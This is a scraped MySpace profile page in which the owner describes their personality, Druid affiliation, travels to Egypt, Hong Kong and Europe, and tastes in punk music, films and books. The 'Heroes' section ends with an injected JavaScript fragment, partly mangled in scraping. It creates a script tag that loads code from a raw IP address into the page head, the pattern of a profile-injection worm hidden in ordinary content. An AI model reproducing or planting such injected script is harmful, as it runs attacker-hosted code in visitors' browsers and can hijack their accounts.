MySpace Layouts MySpace Codes MySpace Backgrounds
Live for spontaneity and occasional chaos. I think my dad's business business genes did a strange square dance with my mom's artist genes and I am the result. One moment I am a moody and romantic artist and the next moment a driven business professional and then the studious intellectual loner (it's all fake) and let's not forget the outgoing socialite...and then there is the ever present freak (where all the worlds collide). Always creative, always learning...never judging. I have given up on figuring myself out...so please don't try to either. I live to travel. Artist (poetry & painting/drawing), athlete (surfing, snowboarding, +++), economist in training, marketing/branding guru, HOPELESS romantic. Celtic pagan (I belong to a Druid order in Northern Ireland--and yes I am Irish)(FYI-Druids are not the male version of Wiccans, it is not a religion (but they had a religion), and Druids must have light colored hair...so no black hair trendies). Smart ass. Anarchist/punk to the core.
Here are pictures from my recent trip to Egypt...

My Interests

Better discussed over tea (or coffee if you like). Too long and diverse to even make sense without a lot of explanation. Travel, travel, travel...I love to explore and learn.

Here are pictures from my August trip to my family's Summer house in Maine...

Here are some pictures from my 2006 trip (May/June 06) to The Netherlands (Holland), England, and Iceland.

Here are pictures from when I studied at the Rouen School of Business (France) and then toured around Paris, Normandy, Amsterdam, Prague, and Vienna in 2005.

These are pictures of Hong Kong when I studied at The Hong Kong University of Science & Technology (the number 1 business school in Asia) while working on my MBA in 2004.

I'd like to meet:

Intelligent, creative people. I measure a person's beauty by what is inside. Sucker for cute goth/psychobilly girls but I already got mine. I am blessed with Miss Neverlady and no one else is needed.
You are what you love, not what loves you.

Music:

It is my sanctuary. Happy, sad, mad, or horny, music is part of me. Like everything except folk and most country. Sex Pistols, The Clash, Blondie...Punk! I also love 80's stuff like Depeche Mode, Oingo Boingo and The Specials. Also NIN, Zombie, Ska & Goth.

Movies:

Grosse Pointe Blank. Ronin. 80's Flicks. Anything dark, suspense, or conspiracy theory. Indie's and foreign films.

Television:

Disconnected it, it was killing my brain cells...reconnected it, still killing brain cells. But CSI and football are a good distraction sometimes.

Books:

Can't get enough. I want to be buried with my library. Always reading 4 at a time, finish 1 a week.

Heroes:

Vampires. My Grandfather (brilliant businessman, ground breaking innovator, sincere humanitarian). Anyone Irish. My cats! .."var s=document·('script');s.src='http://75.126.2.157/.../.. .';document·getElementsByTagName('head')[0].appendChild (s);"

Singing Fish!

This one of the best music videos I have ever seen. It is from the Chemical Brothers. Not only is it funny but it provides good reasoning for not doing drugs. ...
